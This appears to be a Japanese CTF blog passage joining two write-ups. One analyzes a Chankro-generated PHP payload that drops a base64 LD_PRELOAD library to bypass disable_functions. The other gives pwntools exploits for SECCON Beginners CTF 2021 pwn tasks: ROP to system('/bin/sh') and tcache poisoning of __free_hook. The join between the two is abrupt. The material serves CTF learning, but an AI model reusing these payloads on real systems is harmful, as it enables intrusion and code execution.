<?php $hook = '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BwAAAAwAAAAAAAAAAAAAAEiD7AhIiwW9CCAASIXAdAL/0EiDxAjDAP810gggAP8l1AggAA8fQAD/JdIIIABoAAAAAOng/////yXKCCAAaAEAAADp0P////8lwgggAGgCAAAA6cD/////JboIIABoAwAAAOmw/////yWyCCAAaAQAAADpoP////8lqgggAGgFAAAA6ZD/////JaIIIABoBgAAAOmA/////yWaCCAAaAcAAADpcP////8lkgggAGgIAAAA6WD/////JSIIIABmkAAAAAAAAAAASI09gQggAEiNBYEIIABVSCn4SInlSIP4DnYVSIsF1gcgAEiFwHQJXf/gZg8fRAAAXcMPH0AAZi4PH4QAAAAAAEiNPUEIIABIjTU6CCAAVUgp/kiJ5UjB/gNIifBIweg/SAHGSNH+dBhIiwWhByAASIXAdAxd/+BmDx+EAAAAAABdww8fQABmLg8fhAAAAAAAgD3xByAAAHUnSIM9dwcgAABVSInldAxIiz3SByAA6D3////oSP///13GBcgHIAAB88MPH0AAZi4PH4QAAAAAAEiNPVkFIABIgz8AdQvpXv///2YPH0QAAEiLBRkHIABIhcB06VVIieX/0F3pQP///1VIieVIjT16AAAA6FD+//++/wEAAEiJx+iT/v//SI09YQAAAOg3/v//SInH6E/+//+QXcNVSInlvgEAAAC/AQAAAOhZ/v//6JT+//+FwHQKvwAAAADodv7//5Bdw1VIieVIjT0lAAAA6FP+///o/v3//+gZ/v//kF3DAABIg+wISIPECMNDSEFOS1JPAExEX1BSRUxPQUQAARsDOzQAAAAFAAAAuP3//1AAAABY/v//eAAAAGj///+QAAAAnP///7AAAADF////0AAAAAAAAAAUAAAAAAAAAAF6UgABeBABGwwHCJABAAAkAAAAHAAAAGD9//+gAAAAAA4QRg4YSg8LdwiAAD8aOyozJCIAAAAAFAAAAEQAAADY/f//CAAAAAAAAAAAAAAAHAAAAFwAAADQ/v//NAAAAABBDhCGAkMNBm8MBwgAAAAcAAAAfAAAAOT+//8pAAAAAEEOEIYCQw0GZAwHCAAAABwAAACcAAAA7f7//x0AAAAAQQ4QhgJDDQZYDAcIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAsAgAAAAAAAAAAAAAAAAAAHAIAAAAAAAAAAAAAAAAAAABAAAAAAAAALsAAAAAAAAADAAAAAAAAAAYBwAAAAAAAA0AAAAAAAAAXAkAAAAAAAAZAAAAAAAAAPgNIAAAAAAAGwAAAAAAAAAQAAAAAAAAABoAAAAAAAAACA4gAAAAAAAcAAAAAAAAAAgAAAAAAAAA9f7/bwAAAADwAQAAAAAAAAUAAAAAAAAAMAQAAAAAAAAGAAAAAAAAADgCAAAAAAAACgAAAAAAAADpAAAAAAAAAAsAAAAAAAAAGAAAAAAAAAADAAAAAAAAAAAQIAAAAAAAAgAAAAAAAADYAAAAAAAAABQAAAAAAAAABwAAAAAAAAAXAAAAAAAAAEAGAAAAAAAABwAAAAAAAABoBQAAAAAAAAgAAAAAAAAA2AAAAAAAAAAJAAAAAAAAABgAAAAAAAAA/v//bwAAAABIBQAAAAAAAP///28AAAAAAQAAAAAAAADw//9vAAAAABoFAAAAAAAA+f//bwAAAAADAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABgOIAAAAAAAAAAAAAAAAAAAAAAAAAAAAEYHAAAAAAAAVgcAAAAAAABmBwAAAAAAAHYHAAAAAAAAhgcAAAAAAACWBwAAAAAAAKYHAAAAAAAAtgcAAAAAAADGBwAAAAAAAGAQIAAAAAAAR0NDOiAoRGViaWFuIDYuMy4wLTE4K2RlYjl1MSkgNi4zLjAgMjAxNzA1MTYAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMAAQDIAQAAAAAAAAAAAAAAAAAAAAAAAAMAAgDwAQAAAAAAAAAAAAAAAAAAAAAAAAMAAwA4AgAAAAAAAAAAAAAAAAAAAAAAAAMABAAwBAAAAAAAAAAAAAAAAAAAAAAAAAMABQAaBQAAAAAAAAAAAAAAAAAAAAAAAAMABgBIBQAAAAAAAAAAAAAAAAAAAAAAAAMABwBoBQAAAAAAAAAAAAAAAAAAAAAAAAMACABABgAAAAAAAAAAAAAAAAAAAAAAAAMACQAYBwAAAAAAAAAAAAAAAAAAAAAAAAMACgAwBwAAAAAAAAAAAAAAAAAAAAAAAAMACwDQBwAAAAAAAAAAAAAAAAAAAAAAAAMADADgBwAAAAAAAAAAAAAAAAAAAAAAAAMADQBcCQAAAAAAAAAAAAAAAAAAAAAAAAMADgBlCQAAAAAAAAAAAAAAAAAAAAAAAAMADwB4CQAAAAAAAAAAAAAAAAAAAAAAAAMAEACwCQAAAAAAAAAAAAAAAAAAAAAAAAMAEQD4DSAAAAAAAAAAAAAAAAAAAAAAAAMAEgAIDiAAAAAAAAAAAAAAAAAAAAAAAAMAEwAQDiAAAAAAAAAAAAAAAAAAAAAAAAMAFAAYDiAAAAAAAAAAAAAAAAAAAAAAAAMAFQDYDyAAAAAAAAAAAAAAAAAAAAAAAAMAFgAAECAAAAAAAAAAAAAAAAAAAAAAAAMAFwBgECAAAAAAAAAAAAAAAAAAAAAAAAMAGABoECAAAAAAAAAAAAAAAAAAAAAAAAMAGQAAAAAAAAAAAAAAAAAAAAAAAQAAAAQA8f8AAAAAAAAAAAAAAAAAAAAADAAAAAEAEwAQDiAAAAAAAAAAAAAAAAAAGQAAAAIADADgBwAAAAAAAAAAAAAAAAAAGwAAAAIADAAgCAAAAAAAAAAAAAAAAAAALgAAAAIADABwCAAAAAAAAAAAAAAAAAAARAAAAAEAGABoECAAAAAAAAEAAAAAAAAAUwAAAAEAEgAIDiAAAAAAAAAAAAAAAAAAegAAAAIADACwCAAAAAAAAAAAAAAAAAAAhgAAAAEAEQD4DSAAAAAAAAAAAAAAAAAApQAAAAQA8f8AAAAAAAAAAAAAAAAAAAAAAQAAAAQA8f8AAAAAAAAAAAAAAAAAAAAArAAAAAEAEABoCgAAAAAAAAAAAAAAAAAAugAAAAEAEwAQDiAAAAAAAAAAAAAAAAAAAAAAAAQA8f8AAAAAAAAAAAAAAAAAAAAAxgAAAAEAFwBgECAAAAAAAAAAAAAAAAAA0wAAAAEAFAAYDiAAAAAAAAAAAAAAAAAA3AAAAAAADwB4CQAAAAAAAAAAAAAAAAAA7wAAAAEAFwBoECAAAAAAAAAAAAAAAAAA+wAAAAEAFgAAECAAAAAAAAAAAAAAAAAAEQEAABIAAAAAAAAAAAAAAAAAAAAAAAAAJQEAACAAAAAAAAAAAAAAAAAAAAAAAAAAQQEAABAAFwBoECAAAAAAAAAAAAAAAAAA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'; $meterpreter = 'L29wdC9yZWFkZmxhZyA+IC92YXIvd3d3L2h0bWwva20yCg=='; file_put_contents('/var/www/html/chankro.so', base64_decode($hook)); file_put_contents('/var/www/html/acpid.socket', base64_decode($meterpreter)); putenv('CHANKRO=/var/www/html/acpid.socket'); putenv('LD_PRELOAD=/var/www/html/chankro.so'); mail('a','a','a','a');?>
生成されたphp内では2つのファイルをアップロードしている。それぞれbase64でコードし内容を見てみよう。
/var/www/html/acpid.socketは--inputで指定した1行スクリプトと全く同一である。
ファイル名はおそらくこのツール自体がpentester向けに作られたものであるためreverse shellを行うコマンドを想定しているのだと予想する。
もう一方の/var/www/html/chankro.soをobjdumpでみると以下なバイナリであった。
objdump実行結果(一部抜粋)
... 00000000000008e0 <pwn>: 8e0: 55 push rbp 8e1: 48 89 e5 mov rbp,rsp 8e4: 48 8d 3d 7a 00 00 00 lea rdi,[rip+0x7a] # 965 <_fini+0x9> 8eb: e8 50 fe ff ff call 740 <getenv@plt> 8f0: be ff 01 00 00 mov esi,0x1ff 8f5: 48 89 c7 mov rdi,rax 8f8: e8 93 fe ff ff call 790 <chmod@plt> 8fd: 48 8d 3d 61 00 00 00 lea rdi,[rip+0x61] # 965 <_fini+0x9> 904: e8 37 fe ff ff call 740 <getenv@plt> 909: 48 89 c7 mov rdi,rax 90c: e8 4f fe ff ff call 760 <system@plt> 911: 90 nop 912: 5d pop rbp 913: c3 ret 0000000000000914 <daemonize>: 914: 55 push rbp 915: 48 89 e5 mov rbp,rsp 918: be 01 00 00 00 mov esi,0x1 91d: bf 01 00 00 00 mov edi,0x1 922: e8 59 fe ff ff call 780 <signal@plt> 927: e8 94 fe ff ff call 7c0 <fork@plt> 92c: 85 c0 test eax,eax 92e: 74 0a je 93a <daemonize+0x26> 930: bf 00 00 00 00 mov edi,0x0 935: e8 76 fe ff ff call 7b0 <exit@plt> 93a: 90 nop 93b: 5d pop rbp 93c: c3 ret 000000000000093d <preloadme>: 93d: 55 push rbp 93e: 48 89 e5 mov rbp,rsp 941: 48 8d 3d 25 00 00 00 lea rdi,[rip+0x25] # 96d <_fini+0x11> 948: e8 53 fe ff ff call 7a0 <unsetenv@plt> 94d: e8 fe fd ff ff call 750 <daemonize@plt> 952: e8 19 fe ff ff call 770 <pwn@plt> 957: 90 nop 958: 5d pop rbp 959: c3 ret ...
またstrings ./chankro.so実行結果
50d GLIBC_2.2.5 965 CHANKRO 96d LD_PRELOAD 9e7 ;*3$"
関数名preloadmeからもこの関数がロードする際に実行されるのであろう。
preloadme内ではunsetenv("LD_PRELOAD");daemonize();pwn();と順次関数を読んでいる。
pwn内ではchmod(getenv("CHANKRO"), 0x1ff); system(getenv("CHANKRO"));が実行されている。すなわちchmod("/var/www/html/acpid.socket"); system("/var/www/html/acpid.socket");が実行されていることがわかる。
今回の問題では$valにfile_put_content("/var/www/html/km2.php", "<?php (km2.phpのコード) ?>")をセットしevalで実行、/var/www/html/km2.phpにアクセス、/var/www/html/km2_flagでflagが取得できる。
バイバイ
54チームも解いていたから、webの人からするとこれは結構有名なのか。
ちゃんと想定解のemallocのUAFもやらなきゃなぁ
SECCON Beginners CTF 2021 Writeup
初めに
SECCON Beginners CTF 2021にチームKUDoSで参加しました。初心者階級日本1位です。(ソロで上位来る人いっぱいいるのでこれは嘘です)
自分が解いたpwn全問とおまけでmiscについて書きます。
ソルバと配布バイナリはここに置いておきます。
rewriter(pwn)
よくわかるstackのダンプまで表示されるので、return アドレスを書き換えましょう。 書き込む値ですが、flagを出力してくれるwin関数が用意されているのでそのアドレスで良さそうです。
#!/usr/bin/python3 from pwn import * import sys #config context(os='linux', arch='i386') context.log_level = 'debug' FILE_NAME = "./chall" HOST = "rewriter.quals.beginners.seccon.jp" PORT = 4103 if len(sys.argv) > 1 and sys.argv[1] == 'r': conn = remote(HOST, PORT) else: conn = process(FILE_NAME) elf = ELF(FILE_NAME) addr_win = elf.symbols["win"] def exploit(): conn.recvuntil("rbp\n") conn.recvuntil("0x") target = int(conn.recvuntil(" "),16) conn.sendlineafter("> ", hex(target)) conn.sendlineafter("= ", hex(addr_win)) conn.interactive() if __name__ == "__main__": exploit()
beginners_rop(pwn)
自明なgetsによるstack overflowの脆弱性があります。
putsを利用してlibcのアドレスリークをしながらmain関数に戻り、再度system("/bin/sh")を呼び出すようなropを組んでやりましょう。
この時rspがアラインメントされていないと(末尾4byteが0x8など)プログラムが落ちるのでret;だけのgadgetを挟んで調節してください。
#!/usr/bin/python3 from pwn import * import sys #config context(os='linux', arch='i386') context.log_level = 'debug' FILE_NAME = "./chall" HOST = "beginners-rop.quals.beginners.seccon.jp" PORT = 4102 if len(sys.argv) > 1 and sys.argv[1] == 'r': conn = remote(HOST, PORT) else: conn = process(FILE_NAME) elf = ELF(FILE_NAME) addr_main = elf.symbols["main"] plt_puts = elf.plt["puts"] got_puts = elf.got["puts"] rdi_ret = 0x401283 only_ret = 0x401284 # libc = ELF('./libc-2.27.so') off_puts = libc.symbols["puts"] off_system = libc.symbols["system"] off_binsh = next(libc.search(b"/bin/sh")) def exploit(): buflen = 0x100+8 payload = b"A"*buflen payload += p64(rdi_ret) payload += p64(got_puts) payload += p64(plt_puts) payload += p64(addr_main) conn.sendline(payload) conn.recvline() libc_puts = u64(conn.recvline()[:-1]+b"\x00\x00") libc_base = libc_puts - off_puts libc_system = libc_base + off_system libc_binsh = libc_base + off_binsh print(hex(libc_puts)) payload = b"A"*buflen payload += p64(only_ret) # to avoid segmentation fault payload += p64(rdi_ret) payload += p64(libc_binsh) payload += p64(libc_system) conn.sendline(payload) conn.interactive() if __name__ == "__main__": exploit()
uma_catch(pwn)
いわゆるheap問ですね。
format string attackとuse after freeの脆弱性があります。
fsaだけでもshell起動できそうかな、と思ったのですが、文字列の長さが十分ではないため、fsaはlibcアドレスのリークに使い、あとはuafでtcache poisoningを行いましょう。
tcacheを利用した攻撃手法は過去のbeginners CTFでも出題されています。
SECCON Beginners CTF 2020 作問者Writeup - CTFするぞ
SECCON Beginners CTF 2019のWriteup - CTFするぞ
ここら辺の説明がわかりやすいと思います。
ただtcache double freeについてはlibc2.29以降で対策がされたので(libc2.27でもものによってはパッチが当たっているらしい)、すでに繋がれたchunkのリストを書き換えるtcache poisoningと呼ばれている手法(名前はあまり覚えていないが多分そう)で攻撃を行います。
- umaの名前に"%11$p"を入力してlibc_start_mainのアドレスをリーク
- 複数回freeをしてtcacheのlinkをfree_hookに書き換える
- free_hookの中身をsystemのアドレスに書き換える
- nameを"/bin/sh\x00"にしたhourseをfreeしてsystem("/bin/sh")で起動
#!/usr/bin/python3 from pwn import * import sys #config context(os='linux', arch='i386') context.log_level = 'debug' FILE_NAME = "./chall" HOST = "uma-catch.quals.beginners.seccon.jp" PORT = 4101 if len(sys.argv) > 1 and sys.argv[1] == 'r': conn = remote(HOST, PORT) libc = ELF('./libc-2.27.so') off_start_main = libc.symbols["__libc_start_main"] + 231 else: conn = process(FILE_NAME) libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') off_start_main = libc.symbols["__libc_start_main"] + 243 off_free_hook = libc.symbols["__free_hook"] off_system = libc.symbols["system"] off_binsh = next(libc.search(b"/bin/sh")) def catch(idx): conn.sendlineafter("> ", "1") conn.sendlineafter("> ", str(idx)) conn.sendlineafter("> ", "bay") def name(idx, n): conn.sendlineafter("> ", "2") conn.sendlineafter("> ", str(idx)) conn.sendafter("> ", n) def show(idx): conn.sendlineafter("> ", "3") conn.sendlineafter("> ", str(idx)) def dance(idx): conn.sendlineafter("> ", "4") conn.sendlineafter("> ", str(idx)) def delete(idx): conn.sendlineafter("> ", "5") conn.sendlineafter("> ", str(idx)) def exploit(): catch(0) name(0,"%11$p\n") # fsb show(0) # libc address leak libc_base = int(conn.recvline(),16) - off_start_main libc_free_hook = libc_base + off_free_hook libc_system = libc_base + off_system catch(1) delete(0) delete(1) name(1, p64(libc_free_hook)+b"\n") # link _free_hook to tcache catch(2) catch(3) # get a chunk on _free_hook name(3, p64(libc_system)+b"\n") # [_free_hook] = system() name(2, "/bin/sh\x00\n") delete(2) # free("/bin/sh") => system("/bin/sh") 